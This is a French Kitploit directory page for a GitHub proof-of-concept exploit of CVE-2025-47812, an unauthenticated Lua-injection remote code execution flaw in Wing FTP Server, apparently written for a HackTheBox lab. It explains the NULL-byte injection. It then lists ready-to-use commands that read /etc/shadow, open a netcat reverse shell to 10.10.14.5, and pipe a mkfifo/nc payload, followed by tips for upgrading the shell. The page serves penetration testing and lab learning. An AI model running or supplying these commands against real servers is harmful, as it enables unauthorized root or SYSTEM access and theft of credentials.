Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-47812 — CVE-2025-47812 Poc pour wingdata HTB | Kitploit
Outils/GitHubGitHub/0xs4n4tg/cve-2025-47812
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationRed TeamingDéveloppement de Charges Utiles
GitHub0xs4n4tg/cve-2025-47812

CVE-2025-47812

CVE-2025-47812 Poc pour wingdata HTB

Voir le dépôt
il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-47812 — Wing FTP Server RCE sans authentification (réécriture)

Exploit Python pour la RCE par injection Lua sans authentification dans Wing FTP Server ≤ 7.4.3. Conçu pour la livraison de shell — une commande de check à un callback netcat fonctionnel.

Écrit il y a quelque temps pour le lab wingData sur HTB et maintenant open-source. À utiliser uniquement contre les systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite de tester.

Credits

  • Recherche de vulnérabilité : Julien (@MrTuxracer) — What the NULL?! Wing FTP Server RCE (CVE-2025-47812)
  • PoC original : @4m3rr0r — github.com/4m3rr0r/CVE-2025-47812-poc
  • Ce dépôt : une réécriture du PoC ci-dessus, légèrement plus fonctionnelle et plus facile à utiliser.

Résumé de la vulnérabilité

La fonction c_CheckUser() du serveur Wing FTP tronque le username au premier octet NULL pour l'authentification, mais le chemin de création de session écrit le nom complet non nettoyé dans un fichier de session Lua. Injectez anonymous%00]]<lua>-- et le serveur écrit joyeusement votre Lua dans la session. L'accès à un point de terminaison authentifié ( fonctionne) charge ce fichier de session via → , exécutant le code injecté en tant que / .

Télécharger l’outil
dir.html
loadfile()
f()
root
SYSTEM

Versions affectées : Wing FTP Server ≤ 7.4.3. Corrigé dans la version 7.4.4.

Install

root@kitploit:~
pip install requests

C'est tout — aucune autre dépendance.

Usage

root@kitploit:~
# 1. Confirm the target is vulnerable (runs `id` and checks for `uid=`)
python3 exploit.py -u http://target:5466/ check

# 2. One-off command — captures stdout AND stderr
python3 exploit.py -u http://target:5466/ exec "id"
python3 exploit.py -u http://target:5466/ exec "cat /etc/shadow"
python3 exploit.py -u http://target:5466/ exec "find / -perm -4000 2>/dev/null"

# 3. Reverse shell (the easy path)
#    Terminal 1:
nc -lvnp 4444
#    Terminal 2:
python3 exploit.py -u http://target:5466/ shell 10.10.14.5 4444

# 4. Detached arbitrary payload — fire-and-forget. Useful when bash is missing:
python3 exploit.py -u http://target:5466/ detached \
  "rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.5 4444 >/tmp/f"

Flags

IndicateurPar défautBut
-u, --urlobligatoireURL de base de la cible — Wing FTP écoute généralement sur :5466 (HTTP) ou :5467 (HTTPS).
-U, --usernameanonymousNom d'utilisateur avant l'octet NULL. Anonymous fonctionne sur les installations par défaut.
-P, --passwordvideMot de passe pour le POST d'injection. Vide est acceptable pour anonymous.
-v, --verbosedésactivéAffiche la charge utile Lua, les URLs touchées et le corps de la réponse brute.

Astuces

  • Vérifiez d'abord le port. L'interface Web n'est pas sur le port 80 par défaut — essayez http://target:5466/login.html dans un navigateur avant de supposer que l'URL est erronée.
  • Si le mode shell n'obtient pas de callback, utilisez detached avec la charge utile mkfifo ci-dessus. Certaines images Linux minimales n'incluent pas bash.
  • Améliorez le shell capturé une fois qu'il est actif :
    root@kitploit:~
    python3 -c 'import pty;pty.spawn("/bin/bash")'
    # Ctrl+Z
    stty raw -echo; fg
    # Enter, Enter
    export TERM=xterm
    

Avertissement

Pour un usage éducatif et des tests de sécurité autorisés uniquement. Vous êtes responsable des cibles vers lesquelles vous dirigez cet outil.

License

MIT — voir LICENSE.